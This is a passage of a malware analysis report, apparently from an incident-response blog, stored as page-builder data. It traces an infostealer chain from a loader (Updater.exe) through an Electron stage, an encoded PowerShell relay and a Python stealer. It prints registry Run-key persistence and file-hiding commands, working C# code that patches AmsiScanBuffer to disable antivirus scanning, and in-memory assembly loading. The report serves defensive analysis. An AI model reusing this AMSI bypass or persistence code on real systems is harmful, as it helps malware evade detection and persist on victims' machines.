",[1546,6630,6631],{},"js-confuser",", a commercially available obfuscation toolkit for JavaScript",[806,6634,6635,6636,6638],{},"Once decompiled and deobfuscated, the core logic of ",[1546,6637,6149],{}," became evident. Its purpose was not to present a GUI or execute any frontend logic — instead, it acted as a hidden execution orchestrator.",[806,6640,6641],{},[1732,6642,6643],{},"Observed Behavior:",[2733,6645,6646,6649,6656],{},[2736,6647,6648],{},"Decrypts and reconstructs a Base64-encoded PowerShell command stored within the JavaScript payload",[2736,6650,6651,6652,6655],{},"Spawns ",[1546,6653,6654],{},"cmd.exe"," to execute the PowerShell command inline",[2736,6657,6658,6659,6661,6662,2767],{},"The PowerShell command in turn invokes ",[1546,6660,6125],{},", passing in a script located under a seemingly benign directory structure (",[1546,6663,6664],{},"Crypto\\Util\\astor.py",[1540,6666,6669],{"className":6667,"code":6668,"language":917,"meta":863},[1543],"main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\\Util\\astor.py\n",[1546,6670,6668],{"__ignoreMap":863},[806,6672,6673],{},"This chaining allowed the attacker to shift execution contexts and evade straightforward detection. Because the payload was obfuscated and staged in-memory, traditional signature-based controls were ineffective.",[806,6675,6676],{},"The Electron framework provided an ideal cover — allowing execution of arbitrary JavaScript while avoiding scrutiny. JavaScript-based execution also introduced cross-platform compatibility, allowing for flexible deployment and easier integration of dynamic control logic.",[806,6678,6679,6680,6682],{},"What made ",[1546,6681,6149],{}," particularly dangerous was its ability to operate without dropping any additional files beyond what had already been staged. The stealer script was invoked directly from disk, but all staging and execution logic remained embedded within the Electron bundle.",[806,6684,6685,6686,6688,6689,2491],{},"In summary, ",[1546,6687,6149],{}," served as the obfuscated, multi-layered execution core — acting as the gatekeeper between initial persistence and the full activation of the Akira Stealer payload in ",[1546,6690,6153],{},[1667,6692,6694,6695,6697],{"id":6693},"_214-cmdexe-powershell-relay","2.1.4 ",[1546,6696,6654],{}," & PowerShell Relay",[806,6699,1673],{},[806,6701,6702],{},"This stage of the execution chain functioned as a relay — not for payload logic, but for obfuscation and indirection.",[806,6704,6705,6706,6708,6709,6711,6712,2491],{},"After ",[1546,6707,6149],{}," completed its role of unpacking and decoding the payload, it spawned a ",[1546,6710,6654],{}," process. This process did not contain any malicious logic itself, nor did it write or modify files. Its sole purpose was to serve as a wrapper for launching a PowerShell session with an ",[1732,6713,6714],{},"encoded command",[806,6716,6717],{},"This method is a well-known tactic used to reduce visibility and avoid detection:",[2733,6719,6720,6731],{},[2736,6721,6722,3029,6725],{},[1732,6723,6724],{},"Execution Chain",[1540,6726,6729],{"className":6727,"code":6728,"language":917},[1543],"main.exe → cmd.exe /d /s /c \"powershell -EncodedCommand \u003CBase64Payload>\"\n",[1546,6730,6728],{"__ignoreMap":863},[2736,6732,6733,3029,6736],{},[1732,6734,6735],{},"Purpose",[2733,6737,6738,6741,6744],{},[2736,6739,6740],{},"Encapsulates PowerShell execution within an additional shell",[2736,6742,6743],{},"Hides the actual PowerShell code from direct visibility in logs",[2736,6745,6746,6747,6750],{},"Evades EDRs that trigger on direct ",[1546,6748,6749],{},"powershell.exe"," usage with suspicious parameters",[806,6752,6753,6754,6756],{},"By embedding the PowerShell script as a Base64-encoded string and invoking it through ",[1546,6755,6654],{},", the attacker avoided multiple forms of detection:",[2733,6758,6759,6764,6769],{},[2736,6760,6761],{},[1732,6762,6763],{},"Command-line heuristic filters",[2736,6765,6766],{},[1732,6767,6768],{},"Standard logging (e.g., Event ID 4104, 4688)",[2736,6770,6771],{},[1732,6772,6773,6774,6776,6777,2285,6780,6783],{},"Rule-based detections for ",[1546,6775,6749],{}," arguments like ",[1546,6778,6779],{},"-NoProfile",[1546,6781,6782],{},"-ExecutionPolicy Bypass",", or inline scripts",[806,6785,6786,6787,6789,6790,6792],{},"Notably, the PowerShell command was kept minimal and solely focused on launching ",[1546,6788,6125],{}," with a path to the embedded stealer script — ",[1546,6791,6153],{},". No additional modules were loaded, and no obvious signatures were present in memory.",[806,6794,6795],{},"This relay technique is often used in red teaming and by sophisticated infostealers alike — serving as a lightweight evasion layer that’s easy to implement but hard to catch without telemetry correlation.",[806,6797,6561,6798,6800],{},[1546,6799,6654],{}," served exactly that purpose: a simple, silent bridge between JavaScript logic and Python execution — one that almost slipped through unnoticed.",[1667,6802,6804,6805,6807,6808],{"id":6803},"_215-pythonexe-with-astorpy","2.1.5 ",[1546,6806,6125],{}," with ",[1546,6809,6153],{},[806,6811,1673],{},[806,6813,6814,6815,6817,6818,6820],{},"The final and most impactful stage of the execution chain was reached when ",[1546,6816,6125],{}," invoked ",[1546,6819,6153],{}," — a Python-based, modular infostealer operating entirely in memory. This script represented the operational core of the entire attack chain.",[806,6822,6823,6824,6826],{},"Unlike many commodity stealers, ",[1546,6825,6153],{}," was not deployed in plaintext. It was protected by a multi-layered decryption mechanism:",[2733,6828,6829,6838],{},[2736,6830,6831,6834,6835,2491],{},[1732,6832,6833],{},"Decryption Stack",": The file was first GZIP-compressed and then encrypted using ",[1732,6836,6837],{},"AES-256-CBC",[2736,6839,6840,6843],{},[1732,6841,6842],{},"Key Derivation",": A PBKDF2-based key derivation process was used (SHA-512, 1,000,000 iterations), making static analysis and brute-forcing highly impractical.",[806,6845,6846],{},"Once decrypted at runtime, the script executed several specialized modules, all targeting sensitive data sources:",[806,6848,6849],{},[1732,6850,6851],{},"Core Capabilities",[2733,6853,6854,6860,6870,6880],{},[2736,6855,6856,6859],{},[1732,6857,6858],{},"Browser Data Extraction",": Retrieved login credentials, cookies, and autofill data from Chromium-based browsers (Chrome, Edge, Brave, Opera)",[2736,6861,6862,6865,6866,6869],{},[1732,6863,6864],{},"Token Harvesting",": Collected session tokens, particularly from ",[1732,6867,6868],{},"Discord",", and scanned for cryptocurrency wallet extensions",[2736,6871,6872,6875,6876,6879],{},[1732,6873,6874],{},"Data Packaging",": Aggregated all harvested data into a structured ",[1732,6877,6878],{},"ZIP archive",", preserving directory and file context for attacker-side parsing",[2736,6881,6882,6885],{},[1732,6883,6884],{},"Exfiltration",": Uploaded the resulting archive to public APIs and infrastructure.",[806,6887,6888],{},[1732,6889,6519],{},[806,6891,6892],{},"The entire stealer logic executed from memory, with no persistent files written to disk. It left minimal telemetry traces beyond in-process memory artifacts and standard subprocess invocation. No attempt was made to establish persistence at this stage — the goal was quick, efficient, and silent data theft.",[806,6894,6895],{},"The use of legitimate APIs for exfiltration also made detection and prevention significantly harder, as outbound traffic blended in with routine internet activity.",[806,6897,6898,6899,6901],{},"This stage ultimately confirmed the malware’s identity: a variant of ",[1732,6900,6214],{},", known for its:",[2733,6903,6904,6907,6910,6913],{},[2736,6905,6906],{},"High modularity",[2736,6908,6909],{},"Runtime obfuscation",[2736,6911,6912],{},"Commercial distribution via Telegram",[2736,6914,6915],{},"Strong focus on credential harvesting and token-based session hijacking",[806,6917,6918,6919,6921],{},"Together with the earlier stages, ",[1546,6920,6153],{}," formed the critical endpoint of a stealthy and well-engineered infostealer chain. In the following sections, we dissect this component further and explain how we reversed its logic, mapped its infrastructure, and recovered every indicator of compromise used during its operation.",[1511,6923,6925,6926],{"id":6924},"_3-deep-dive-updaterexe","3. Deep Dive: ",[1546,6927,6145],{},[806,6929,816],{},[806,6931,6932,6934],{},[1546,6933,6145],{}," was the initial binary observed during post-compromise analysis. Despite its neutral appearance and negligible detection footprint, it played a critical role in maintaining the malware's operational persistence and delivering the next-stage payload.",[810,6936,6938],{"id":6937},"_31-properties","3.1 Properties",[806,6940,1531],{},[1898,6942,6943,6951],{},[1903,6944,6945],{},[1907,6946,6947,6949],{},[1911,6948,1914],{},[1911,6950,1917],{},[1919,6952,6953,6963,6973,6983,6993,7003],{},[1907,6954,6955,6960],{},[1924,6956,6957],{},[1732,6958,6959],{},"Format:",[1924,6961,6962],{},"Windows Portable Executable (PE32)",[1907,6964,6965,6970],{},[1924,6966,6967],{},[1732,6968,6969],{},"Architecture:",[1924,6971,6972],{},"x86-64",[1907,6974,6975,6980],{},[1924,6976,6977],{},[1732,6978,6979],{},"Size:",[1924,6981,6982],{},"~154 KB",[1907,6984,6985,6990],{},[1924,6986,6987],{},[1732,6988,6989],{},"Entropy:",[1924,6991,6992],{},"Normal (non-packed)",[1907,6994,6995,7000],{},[1924,6996,6997],{},[1732,6998,6999],{},"Signatures:",[1924,7001,7002],{},"None",[1907,7004,7005,7010],{},[1924,7006,7007],{},[1732,7008,7009],{},"VirusTotal Detection:",[1924,7011,7012],{},"1/69 at time of analysis",[806,7014,7015],{},"The file exhibited a clean import table and no embedded string indicators. No known packers, crypters, or runtime obfuscation mechanisms were detected. The structure was consistent with custom-compiled binaries.",[810,7017,7019],{"id":7018},"_32-behavioral-analysis","3.2 Behavioral Analysis",[806,7021,1531],{},[806,7023,7024],{},[1732,7025,7026],{},"No User Interaction Required",[806,7028,7029,7030,7032],{},"The malware chain executed without any required user interaction. Based on Defender’s process telemetry, the initial binary (",[1546,7031,6145],{},") was launched automatically — most likely via a persistence mechanism such as a registry autorun key. However, due to the age of the compromise and the absence of historical event logs, the exact method of persistence could not be recovered.",[806,7034,7035],{},[1732,7036,7037],{},"Silent Execution and Staging",[806,7039,7040,7041,7043,7044,7046],{},"Upon execution, ",[1546,7042,6145],{}," immediately launched ",[1546,7045,6149],{}," with no visual window and no user prompts. The staging occurred silently in the background. There was no evidence of user consent dialogs, UAC prompts, or GUI components.",[806,7048,7049],{},[1732,7050,7051],{},"Payload Deployment Behavior",[806,7053,7054,7056],{},[1546,7055,6149],{}," was found to be part of an Electron application structure, but the exact origin of its deployment remains unclear. One of the following is assumed:",[2733,7058,7059,7065],{},[2736,7060,7061,7062,7064],{},"The payload may have been bundled internally within ",[1546,7063,6145],{}," (e.g., embedded resource), or",[2736,7066,7067],{},"It may have been retrieved from a remote source",[806,7069,7070],{},"Due to a lack of network telemetry and no recovered hardcoded URL, the delivery vector for the Electron app remains inconclusive.",[806,7072,7073],{},[1732,7074,7075],{},"Process Chain Behavior",[806,7077,7078,7079,7081,7082,7084],{},"Once executed, ",[1546,7080,6145],{}," spawned ",[1546,7083,6149],{}," as a child process. The invocation was non-interactive, and no process spawned from the chain exhibited UI activity. The process chain continued as expected:",[1540,7086,7089],{"className":7087,"code":7088,"language":917},[1543],"Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py\n",[1546,7090,7088],{"__ignoreMap":863},[806,7092,7093],{},"All execution stages operated without requiring user input, relying solely on pre-configured launch logic and silent execution paths. This minimized exposure and helped the malware remain undetected over an extended period.",[810,7095,7097],{"id":7096},"_33-role-in-the-infection-chain","3.3 Role in the Infection Chain",[806,7099,1531],{},[806,7101,7102,7104,7105,7108,7109,2491],{},[1546,7103,6145],{}," played a ",[1732,7106,7107],{},"single but essential role"," within the broader infection chain: it was responsible for the persistence and redeployment of the stage-2 component — ",[1546,7110,6149],{},[806,7112,7113],{},[1732,7114,7115],{},"Confirmed Characteristics",[2733,7117,7118,7125,7130],{},[2736,7119,7120,7121,7124],{},"It ",[1732,7122,7123],{},"did not"," contain or execute malicious logic directly",[2736,7126,7120,7127,7129],{},[1732,7128,7123],{}," perform any data exfiltration",[2736,7131,7120,7132,7134],{},[1732,7133,7123],{}," interact with browser credential stores or sensitive user data",[806,7136,7137,7138,7140],{},"Its sole purpose was to silently launch ",[1546,7139,6149],{}," during user login, using a registry autorun entry as the most likely method of persistence (though not directly recovered due to telemetry limitations).",[806,7142,7143,7144,7146,7147,7149],{},"By acting as an isolated first-stage loader, ",[1546,7145,6145],{}," ensured that the actual stealer payload (",[1546,7148,6153],{},") remained concealed in deeper layers of execution. This separation of duties allowed the attackers to:",[2733,7151,7152,7155,7158],{},[2736,7153,7154],{},"Avoid correlation by static AV or sandbox systems",[2736,7156,7157],{},"Swap or update payloads without modifying the loader",[2736,7159,7160],{},"Reduce behavioral signals at the entry point",[806,7162,7163,7164,7167],{},"This pattern is typical in ",[1732,7165,7166],{},"malware-as-a-service (MaaS)"," operations, where delivery mechanisms are generic and payloads are modular or client-specific.",[806,7169,6561,7170,7172],{},[1546,7171,6145],{}," provided just enough logic to serve as a reliable and stealthy entry point — nothing more, but also nothing less.",[810,7174,7176],{"id":7175},"_34-persistence-via-registry-confirmed-in-astorpy","3.4 Persistence via Registry (Confirmed in astor.py)",[806,7178,1531],{},[806,7180,7181,7182,7184],{},"Static analysis of the Python payload revealed that ",[1546,7183,6145],{}," is explicitly persisted using a registry autorun entry:",[2733,7186,7187,7195,7203],{},[2736,7188,7189,2540,7192],{},[1732,7190,7191],{},"Registry Path",[1546,7193,7194],{},"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",[2736,7196,7197,2540,7200],{},[1732,7198,7199],{},"Value Name",[1546,7201,7202],{},"Realtek Audio",[2736,7204,7205,2540,7208],{},[1732,7206,7207],{},"Payload Path",[1546,7209,7210],{},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe",[806,7212,7213],{},"The corresponding registry command is executed via PowerShell:",[1540,7215,7219],{"className":7216,"code":7217,"language":7218,"meta":863,"style":863},"language-powershell shiki shiki-themes github-light github-dark","reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Realtek Audio\" /t REG_SZ /d \"...\\Updater.exe\" /f\n","powershell",[1546,7220,7221],{"__ignoreMap":863},[1584,7222,7223],{"class":1586,"line":1587},[1584,7224,7217],{},[806,7226,7227],{},"This ensures the malware is launched at every user login. The file is also marked with hidden and system attributes to further evade detection:",[1540,7229,7231],{"className":7216,"code":7230,"language":7218,"meta":863,"style":863},"attrib +h +s \"Updater.exe\"\n",[1546,7232,7233],{"__ignoreMap":863},[1584,7234,7235],{"class":1586,"line":1587},[1584,7236,7230],{},[806,7238,7239],{},"This persistence mechanism was embedded directly into the astor.py code, confirming that the final-stage stealer actively maintains loader presence on disk and in the startup registry.",[810,7241,7243],{"id":7242},"_35-summary","3.5 Summary",[806,7245,1531],{},[3589,7247,7248],{},[806,7249,7250,7251,7253],{},"While ",[1546,7252,6145],{}," was not inherently malicious in structure or content, its contextual behavior within the execution chain confirmed its role as a malware loader.",[1536,7255],{"className":7256},[6385],[806,7258,7259],{},"This binary served as a clean, minimalistic first-stage launcher — avoiding detection by static analysis, AV engines, and behavioral rules. Its design focused purely on stealth and operational support, not on executing malicious logic itself.",[806,7261,7262,7263,7265,7266,7268,7269,7272],{},"However, its role extended beyond initial deployment. During reverse engineering of the ",[1546,7264,6153],{}," payload, we identified logic that actively checked for the presence of ",[1546,7267,6145],{},". This check was part of a broader ",[1732,7270,7271],{},"health and self-healing cycle"," implemented within the stealer code — a mechanism designed to verify the integrity of the infection chain and restore missing components if needed.",[806,7274,7275,7276,7278,7279,7282],{},"This means that ",[1546,7277,6145],{}," was not only responsible for initiating the malware, but also formed part of its ",[1732,7280,7281],{},"ongoing runtime validation",". Without this stub, the malware could lose its ability to reinitialize in future sessions.",[806,7284,7285],{},[1732,7286,7287,7288,3029],{},"Key Functions of ",[1546,7289,6145],{},[2733,7291,7292,7297,7302,7305],{},[2736,7293,7294,7295],{},"Seamless deployment of ",[1546,7296,6149],{},[2736,7298,7299,7300],{},"Indirect execution of ",[1546,7301,6153],{},[2736,7303,7304],{},"Decoupling of loader and payload logic",[2736,7306,7307,7310],{},[1732,7308,7309],{},"Referenced by the payload itself"," as part of operational health monitoring",[806,7312,7313],{},"In Section 5, we will detail the internal health-check routines of the stealer, including its self-healing behavior and integrity validation mechanisms.",[806,7315,7316,7317,7319],{},"For now, it is clear that ",[1546,7318,6145],{}," served as both ignition and anchor point in this layered infostealer architecture.",[810,7321,7323],{"id":7322},"_36-extraction-trick-outsmarting-the-loader","3.6 Extraction Trick: Outsmarting the Loader",[806,7325,1531],{},[806,7327,7328],{},"Sometimes, the best reverse engineering results don’t come from deep binary disassembly — but from a bit of trickery and patience.",[806,7330,7331,7332,7334,7335,7337],{},"While analyzing the infection in a controlled lab environment, we noticed something odd: ",[1546,7333,6145],{}," was present and executing, but ",[1546,7336,6149],{}," had vanished from the file system. That’s when we had an idea — what happens if we let the malware repair itself?",[806,7339,7340,7341,7346,7347,7349],{},"We deliberately ",[1732,7342,7343,7344],{},"deleted ",[1546,7345,6149],{}," from the infected environment while leaving ",[1546,7348,6145],{}," untouched. And sure enough, after the next user session login, the loader sprang into action — not with a tantrum, but with a quiet attempt to rebuild its second stage.",[806,7351,7352,7353,2285,7355,7357,7358,7361,7362,7365,7366,2285,7368,7371,7372,7374],{},"Here’s where it got interesting: Instead of directly recreating ",[1546,7354,6149],{},[1546,7356,6145],{}," first dropped a file named ",[1546,7359,7360],{},"app-64.7z"," — a standard ",[1732,7363,7364],{},"7-Zip archive",". This archive contained the full Electron application structure, including ",[1546,7367,6149],{},[1546,7369,7370],{},"resources",", and the ",[1546,7373,6599],{}," payload with all embedded logic.",[806,7376,7377,7378,2491],{},"We had effectively ",[1732,7379,7380],{},"forced the malware to hand us the source package",[806,7382,7383],{},[1449,7384],{"alt":7385,"src":7386},"Suspicious Updater Executable Detected","https://res.cloudinary.com/c4a8/image/upload/v1749797290/blog/pics/updater-exe.png",[806,7388,7389],{},"With this 7z archive in hand, we were able to extract, decompress, and fully reverse the JavaScript-based orchestration logic without even touching the original loader again. The archive structure matched the expected Electron app layout perfectly.",[806,7391,7392,7393,7396],{},"This behavior strongly suggests that the attackers deliberately chose a ",[1732,7394,7395],{},"modular and maintainable architecture",", using archives as flexible payload containers. It also allowed them to swap or update payload components without recompiling the loader binary.",[806,7398,7399],{},"And in our case? It allowed us to outsmart their chain, intercept the drop, and walk away with the full package — like stealing the blueprints off the workbench while the builder wasn’t looking.",[806,7401,7402,7403],{},"Let’s just say: ",[1732,7404,7405,7406,2285,7409,7412],{},"sometimes the best forensic tools are ",[1546,7407,7408],{},"del",[1546,7410,7411],{},"wait",", and a little curiosity.",[1511,7414,7416,7417],{"id":7415},"_4-deep-dive-powbat","4. Deep Dive: ",[1546,7418,7419],{},"pow.bat",[806,7421,816],{},[806,7423,7424,7425,7428],{},"In the analyzed malware campaign, the component ",[1546,7426,7427],{},"Invoke-SharpLoader"," acts as a custom, memory-resident .NET loader that exhibits a highly modular and evasive execution flow. This section dissects its internal architecture, its anti-analysis strategy via AMSI patching, and its role in facilitating the second stage payload.",[810,7430,7432],{"id":7431},"_41-binary-properties-sharploader-batch-wrapper","4.1 Binary Properties – SharpLoader Batch Wrapper",[806,7434,1531],{},[806,7436,7437,7438,7440],{},"Before being executed to load the .NET payload in memory, the outer wrapper ",[1546,7439,7419],{}," shows the following characteristics based on static analysis:",[1898,7442,7443,7451],{},[1903,7444,7445],{},[1907,7446,7447,7449],{},[1911,7448,1914],{},[1911,7450,1917],{},[1919,7452,7453,7462,7471,7481,7490,7500,7510,7519],{},[1907,7454,7455,7459],{},[1924,7456,7457],{},[1732,7458,6959],{},[1924,7460,7461],{},"DOS Batch File",[1907,7463,7464,7468],{},[1924,7465,7466],{},[1732,7467,6969],{},[1924,7469,7470],{},"Script-based (not compiled binary)",[1907,7472,7473,7478],{},[1924,7474,7475],{},[1732,7476,7477],{},"File Size:",[1924,7479,7480],{},"27.79 KB (28454 bytes)",[1907,7482,7483,7487],{},[1924,7484,7485],{},[1732,7486,6989],{},[1924,7488,7489],{},"Normal (plain ASCII text)",[1907,7491,7492,7497],{},[1924,7493,7494],{},[1732,7495,7496],{},"Magic:",[1924,7498,7499],{},"DOS batch file, ASCII text",[1907,7501,7502,7507],{},[1924,7503,7504],{},[1732,7505,7506],{},"Digital Signature:",[1924,7508,7509],{},"None detected",[1907,7511,7512,7516],{},[1924,7513,7514],{},[1732,7515,7009],{},[1924,7517,7518],{},"26 / 61 (at time of analysis)",[1907,7520,7521,7526],{},[1924,7522,7523],{},[1732,7524,7525],{},"Threat Labels:",[1924,7527,7528,2285,7531,2285,7534,2285,7536],{},[1546,7529,7530],{},"trojan",[1546,7532,7533],{},"downloader",[1546,7535,7218],{},[1546,7537,7538],{},"agentb",[806,7540,7541,7542,7545],{},"Despite being a simple ",[1546,7543,7544],{},".bat"," file, the script evades many static detections and relies heavily on living-off-the-land techniques such as PowerShell to download and execute obfuscated and encrypted payloads.",[810,7547,7549,7550,2767],{"id":7548},"_42-amsi-bypass-technique-class-gofor4msi","4.2 AMSI Bypass Technique (Class: ",[1546,7551,7552],{},"gofor4msi",[806,7554,1531],{},[806,7556,7557],{},"One of the first defensive mechanisms bypassed by SharpLoader is AMSI — the Anti-Malware Scan Interface — a Microsoft feature integrated into scripting engines like PowerShell and Windows Script Host to provide real-time content scanning for suspicious behavior. Malware authors often attempt to bypass AMSI to avoid detection by endpoint protection systems.",[806,7559,7560,7561,7564,7565,7568,7569,7572,7573,7576,7577,7580],{},"In SharpLoader, the AMSI bypass is implemented through ",[1732,7562,7563],{},"direct in-memory patching"," of the ",[1546,7566,7567],{},"AmsiScanBuffer"," function within the ",[1546,7570,7571],{},"amsi.dll",". This function is normally responsible for analyzing script content and returning a result code indicating whether the content is suspicious (",[1546,7574,7575],{},"AMSI_RESULT_DETECTED",") or safe (",[1546,7578,7579],{},"AMSI_RESULT_CLEAN",").",[806,7582,7583],{},"The relevant in-memory patching code is:",[1540,7585,7589],{"className":7586,"code":7587,"language":7588,"meta":863,"style":863},"language-csharp shiki shiki-themes github-light github-dark","var lib = Win32.LoadLibrary(\"amsi.dll\");\nvar addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\nWin32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\nMarshal.Copy(patch, 0, addr, patch.Length);\n","csharp",[1546,7590,7591,7596,7601,7606],{"__ignoreMap":863},[1584,7592,7593],{"class":1586,"line":1587},[1584,7594,7595],{},"var lib = Win32.LoadLibrary(\"amsi.dll\");\n",[1584,7597,7598],{"class":1586,"line":864},[1584,7599,7600],{},"var addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\n",[1584,7602,7603],{"class":1586,"line":1810},[1584,7604,7605],{},"Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\n",[1584,7607,7608],{"class":1586,"line":1827},[1584,7609,7610],{},"Marshal.Copy(patch, 0, addr, patch.Length);\n",[806,7612,7613],{},"This sequence performs the following steps:",[4349,7615,7616,7625,7636,7646],{},[2736,7617,7618,7621,7622,2491],{},[1732,7619,7620],{},"Load the AMSI DLL"," into the process using ",[1546,7623,7624],{},"LoadLibrary(\"amsi.dll\")",[2736,7626,7627,7630,7631,6154,7633,2491],{},[1732,7628,7629],{},"Resolve the memory address"," of the function ",[1546,7632,7567],{},[1546,7634,7635],{},"GetProcAddress()",[2736,7637,7638,7641,7642,7645],{},[1732,7639,7640],{},"Change the memory protection"," of the address using ",[1546,7643,7644],{},"VirtualProtect()"," to make it writable.",[2736,7647,7648,7651,7652,7655],{},[1732,7649,7650],{},"Overwrite the beginning of the function"," using ",[1546,7653,7654],{},"Marshal.Copy()"," with a small shellcode patch.",[806,7657,7658],{},"The patch applied for 64-bit systems is:",[1540,7660,7662],{"className":7586,"code":7661,"language":7588,"meta":863,"style":863},"static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret\n",[1546,7663,7664],{"__ignoreMap":863},[1584,7665,7666],{"class":1586,"line":1587},[1584,7667,7661],{},[806,7669,7670],{},"This corresponds to the following instructions:",[2733,7672,7673,7682],{},[2736,7674,7675,7678,7679],{},[1546,7676,7677],{},"mov eax, 0x80070057"," → sets the return code to the Windows error code ",[1546,7680,7681],{},"E_INVALIDARG",[2736,7683,7684,7687],{},[1546,7685,7686],{},"ret"," → immediately returns from the function",[806,7689,7690,7691,7693],{},"This effectively causes ",[1546,7692,7567],{}," to fail silently and return a non-detection result, neutralizing AMSI checks. The malware can now execute scripts or .NET code that would otherwise trigger antivirus alerts.",[806,7695,7696],{},"If executed on a 32-bit system, a different patch is applied:",[1540,7698,7700],{"className":7586,"code":7699,"language":7588,"meta":863,"style":863},"static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18\n",[1546,7701,7702],{"__ignoreMap":863},[1584,7703,7704],{"class":1586,"line":1587},[1584,7705,7699],{},[806,7707,7708],{},"This reflects the same goal — forcing a \"clean\" result — but adapted to the x86 calling convention.",[806,7710,7711,7712,2285,7715,7718,7719,7722],{},"Using raw P/Invoke calls like ",[1546,7713,7714],{},"LoadLibrary",[1546,7716,7717],{},"GetProcAddress",", and ",[1546,7720,7721],{},"VirtualProtect"," allows this patching to be done dynamically and without invoking any high-level APIs that might be monitored by EDR tools. This method is compact, effective, and leaves minimal forensic artifacts.",[806,7724,7725,7726,7729],{},"In summary, this AMSI bypass technique is a ",[1732,7727,7728],{},"low-level, direct memory attack on the antivirus interface",", carried out in milliseconds during runtime. It's a powerful example of why behavioral monitoring and memory inspection are essential in modern endpoint defense systems.",[810,7731,7733],{"id":7732},"_43-stage-2-payload-handling","4.3 Stage 2 Payload Handling",[806,7735,1531],{},[806,7737,7738,7739,7742],{},"After the AMSI bypass is complete, the loader proceeds to retrieve and prepare the second-stage payload. This payload is not embedded in the loader itself but is fetched either from a remote server or read from disk — depending on how the loader is invoked via the ",[1546,7740,7741],{},"$location"," parameter.",[806,7744,7745,7746,7749,7750,7753,7754,7757,7758,7761,7762,7765],{},"If the location begins with ",[1546,7747,7748],{},"http",", it is interpreted as a URL and the loader uses ",[1546,7751,7752],{},"Get_Stage2()"," to download the payload via ",[1546,7755,7756],{},"HttpWebRequest",". If it is a local path, ",[1546,7759,7760],{},"Get_Stage2disk()"," reads the contents directly from the file system. In both cases, the expected file content is a ",[1732,7763,7764],{},"Base64-encoded, GZip-compressed, and AES-encrypted"," blob.",[806,7767,7768,7769,7772],{},"The loader then performs a ",[1732,7770,7771],{},"four-stage decoding and decryption pipeline"," entirely in memory:",[4349,7774,7775,7781,7791,7801],{},[2736,7776,7777,7780],{},[1732,7778,7779],{},"Base64 Decoding",": Converts the encoded string into raw bytes. This step is designed to obscure the actual binary content from static inspection tools and prevents straightforward pattern matching.",[2736,7782,7783,7786,7787,7790],{},[1732,7784,7785],{},"GZip Decompression",": The decoded bytes are passed to a ",[1546,7788,7789],{},"GZipStream",", which decompresses the payload. Compression reduces file size and adds another layer of obfuscation.",[2736,7792,7793,7796,7797,7800],{},[1732,7794,7795],{},"AES Decryption",": The compressed bytes are decrypted using AES (Rijndael) in CBC mode. The key is derived at runtime from the user-provided password using SHA-256 hashing combined with PBKDF2 (",[1546,7798,7799],{},"Rfc2898DeriveBytes",") and a static salt.",[2736,7802,7803,7806],{},[1732,7804,7805],{},"Salt Removal",": The decrypted result still contains a fixed-length salt prefix (4 bytes). These bytes are removed manually to obtain the clean binary blob that represents a valid .NET assembly.",[806,7808,7809],{},"The decryption pipeline is executed like so:",[1540,7811,7813],{"className":7586,"code":7812,"language":7588,"meta":863,"style":863},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\nbyte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[1546,7814,7815,7820],{"__ignoreMap":863},[1584,7816,7817],{"class":1586,"line":1587},[1584,7818,7819],{},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\n",[1584,7821,7822],{"class":1586,"line":864},[1584,7823,7824],{},"byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[806,7826,7827,7828,7831],{},"Here, ",[1546,7829,7830],{},"AES_Decrypt()"," is a custom function that wraps the Rijndael algorithm, configured with a 256-bit key and a 128-bit IV (initialization vector), both derived from the password.",[806,7833,7834],{},[1732,7835,7836],{},"Key Design Observations:",[2733,7838,7839,7842,7845],{},[2736,7840,7841],{},"The use of AES-CBC with PBKDF2 makes brute-forcing the password non-trivial.",[2736,7843,7844],{},"Since decryption happens in memory, no intermediate results are ever written to disk — reducing forensic artifacts.",[2736,7846,7847],{},"If the wrong password is supplied, decryption silently fails or produces invalid data, which may lead to failed execution or hard-to-trace exceptions.",[806,7849,7850],{},"In summary, this multi-stage payload handling approach significantly raises the bar for both signature- and heuristic-based static detection. Without either live execution or deep inspection of the loader behavior, defenders are unlikely to uncover the embedded payload without also knowing the password and exact decoding logic.",[810,7852,7854],{"id":7853},"_44-dynamic-assembly-loading","4.4 Dynamic Assembly Loading",[806,7856,1531],{},[806,7858,7859],{},"Once the second-stage payload has been successfully decrypted, the resulting byte array represents a valid .NET assembly. Instead of writing this assembly to disk — a common indicator for antivirus or EDR systems — SharpLoader executes it directly in memory using reflection:",[1540,7861,7863],{"className":7586,"code":7862,"language":7588,"meta":863,"style":863},"Assembly a = Assembly.Load(bin);\na.EntryPoint.Invoke(null, new object[] { commands });\n",[1546,7864,7865,7870],{"__ignoreMap":863},[1584,7866,7867],{"class":1586,"line":1587},[1584,7868,7869],{},"Assembly a = Assembly.Load(bin);\n",[1584,7871,7872],{"class":1586,"line":864},[1584,7873,7874],{},"a.EntryPoint.Invoke(null, new object[] { commands });\n",[806,7876,7877,7878,7881],{},"This technique is referred to as ",[1732,7879,7880],{},"fileless execution",". It is highly evasive because it:",[2733,7883,7884,7887,7890],{},[2736,7885,7886],{},"Avoids touching the disk, leaving no file-based IOCs (indicators of compromise)",[2736,7888,7889],{},"Makes traditional forensic acquisition harder, as no binary is saved on disk",[2736,7891,7892],{},"Evades static signature-based detection, since AV engines often rely on scanning files",[806,7894,7895,7896,7899,7900,7903],{},"If the ",[1546,7897,7898],{},"EntryPoint"," is not ",[1546,7901,7902],{},"static",", the loader includes a fallback logic:",[1540,7905,7907],{"className":7586,"code":7906,"language":7588,"meta":863,"style":863},"MethodInfo method = a.EntryPoint;\nif (method != null)\n{\n    object o 